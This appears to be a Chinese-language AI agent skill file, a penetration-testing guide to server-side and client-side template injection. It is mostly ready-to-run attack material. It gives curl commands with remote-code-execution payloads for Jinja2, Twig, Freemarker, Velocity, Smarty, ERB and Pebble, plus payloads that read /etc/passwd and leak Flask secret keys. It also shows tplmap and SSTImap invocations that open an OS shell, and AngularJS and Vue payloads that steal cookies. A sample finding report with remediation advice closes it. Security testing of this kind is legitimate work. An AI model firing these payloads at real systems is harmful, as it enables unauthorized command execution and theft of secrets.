npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中,当用户输入通过服务器端模板引擎渲染时
Detects and exploits SSTI vulnerabilities in Jinja2, Twig, Freemarker, ERB, and other engines for RCE during authorized pentests. Includes detection payloads, engine ID, and tools like tplmap.
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities in Jinja2, Twig, Freemarker, and other engines to achieve RCE during authorized pentests of web apps with templating.
Detects Server-Side Template Injection (SSTI) vulnerabilities in JS/TS, Python, Ruby, PHP template engines like EJS, Jinja2, Handlebars where user input forms the template string.
Share bugs, ideas, or general feedback.
{{7*7}} 返回 49)git clone https://github.com/epinna/tplmap.git)pip install sstimap)查找用户输入被模板引擎处理的参数。
# 注入数学表达式以检测模板处理
# 如果服务器对表达式求值,则可能存在 SSTI
# 通用检测载荷
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# 检查常见注入位置:
# - 包含反射输入的错误页面
# - 个人资料字段(姓名、简介、签名)
# - 电子邮件主题/正文模板
# - 包含自定义字段的 PDF/报告生成
# - 搜索结果页面
# - 反映 URL 路径的 404 页面
# - 通知模板
确定使用的模板引擎类型,以选择合适的利用技术。
# 引擎识别决策树:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) 或 EJS (Node.js)
# 区分 Jinja2 与 Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# 专门测试 Jinja2
curl -s "https://target.example.com/page?name={{config}}"
# 返回 Flask 配置 = Jinja2/Flask
# 测试 Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# 返回日期/时间 = Freemarker
# 测试 Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# 返回 1 = Velocity
# 测试 Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# 返回 test = Smarty
# 测试 Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# 返回类信息 = Pebble
# 使用 tplmap 自动检测引擎
python3 tplmap.py -u "https://target.example.com/page?name=test"
通过 Jinja2 模板注入实现代码执行。
# 读取配置
curl -s "https://target.example.com/page?name={{config.items()}}"
# 访问密钥
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# Jinja2 RCE - 方法1:通过 MRO 访问 os 模块
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Jinja2 RCE - 方法2:使用 cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Jinja2 RCE - 方法3:使用 lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# 通过 Jinja2 读取文件
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# 枚举可用子类以寻找有用的类
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
针对不同引擎使用特定载荷进行利用。
# --- Twig (PHP) ---
# Twig RCE
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig 文件读取
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# Freemarker RCE
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# 替代 Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# Velocity RCE
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# Smarty RCE
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# ERB RCE
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# Pebble RCE
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
使用自动化工具进行全面测试和利用。
# tplmap - 自动化 SSTI 利用
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap 测试 POST 参数
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap 使用自定义请求头
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap 文件读取
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder 方法:
# 1. 将请求发送到 Intruder
# 2. 标记可注入参数
# 3. 加载 SSTI 载荷列表
# 4. 通过匹配指标进行 Grep:"49"、错误消息、类名
评估 Angular/Vue/React 客户端模板中的表达式注入。
# AngularJS 表达式注入
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS 沙箱绕过(1.6 之前版本)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js 表达式注入
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# 检查页面是否存在 AngularJS ng-app
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# 使用不同的 CSTI 载荷测试
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
| 概念 | 定义 |
|---|---|
| SSTI | 服务器端模板注入(Server-Side Template Injection)——注入在服务器端执行的模板指令 |
| CSTI | 客户端模板注入(Client-Side Template Injection)——向 AngularJS/Vue 模板注入表达式(导致 XSS) |
| 模板引擎(Template Engine) | 处理包含占位符的模板文件并将其替换为数据的软件 |
| 沙箱逃逸(Sandbox Escape) | 绕过模板引擎安全限制以访问危险函数 |
| MRO(方法解析顺序) | Python 类层次结构遍历,在 Jinja2 利用中使用 |
| 对象自省(Object Introspection) | 使用 __class__、__subclasses__()、__globals__ 遍历 Python 对象 |
| 盲 SSTI(Blind SSTI) | 输出不直接可见的模板注入,需要带外技术 |
| 工具 | 用途 |
|---|---|
| tplmap | 支持操作系统 Shell 功能的自动化 SSTI 检测与利用工具 |
| SSTImap | 支持多种模板引擎的现代 SSTI 扫描器 |
| Burp Suite Professional | 请求拦截和使用 Intruder 进行载荷模糊测试 |
| Hackvertor(Burp 扩展) | 用于绕过技术的载荷编码和转换 |
| PayloadsAllTheThings | GitHub 上的综合 SSTI 载荷参考 |
| OWASP ZAP | 主动扫描模式下的自动化 SSTI 检测 |
Flask 应用程序允许用户自定义电子邮件通知模板。自定义模板通过 Jinja2 渲染且没有沙箱保护,允许通过 {{config.items()}} 和子类遍历实现 RCE。
基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。低权限编辑者注入 <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} 来执行命令。
自定义 404 错误页面通过 Twig 模板反映请求的 URL 路径。请求 /{{['id']|filter('system')}} 导致服务器执行 id 命令。
搜索页面使用带有 ng-bind-html 的 AngularJS 渲染结果。搜索 {{constructor.constructor('alert(document.cookie)')()}} 通过 AngularJS 表达式求值实现 XSS。
## 模板注入发现报告
**漏洞**:服务器端模板注入(Jinja2)— RCE
**严重性**:严重(CVSS 9.8)
**位置**:GET /page?name=(name 参数)
**模板引擎**:Jinja2(Python 3.9 / Flask 2.3)
**OWASP 类别**:A03:2021 - 注入
### 复现步骤
1. 发送 GET /page?name={{7*7}} — 响应包含"49",确认 SSTI
2. 发送 GET /page?name={{config.SECRET_KEY}} — 返回 Flask 密钥
3. 发送 GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. 服务器返回:uid=33(www-data) gid=33(www-data)
### 已确认影响
- 以 www-data 用户身份实现远程代码执行
- 密钥泄露:Flask SECRET_KEY 已暴露
- 文件系统读取:/etc/passwd、应用程序源代码
- 潜在的内网横向移动
### 修复建议
1. 切勿将用户输入直接传递给模板渲染函数
2. 使用沙箱模板环境(Jinja2 SandboxedEnvironment)
3. 对模板变量实施严格的输入验证和白名单
4. 在可能的情况下使用无逻辑模板引擎(Mustache、Handlebars)
5. 为 Web 应用程序用户应用最小权限操作系统权限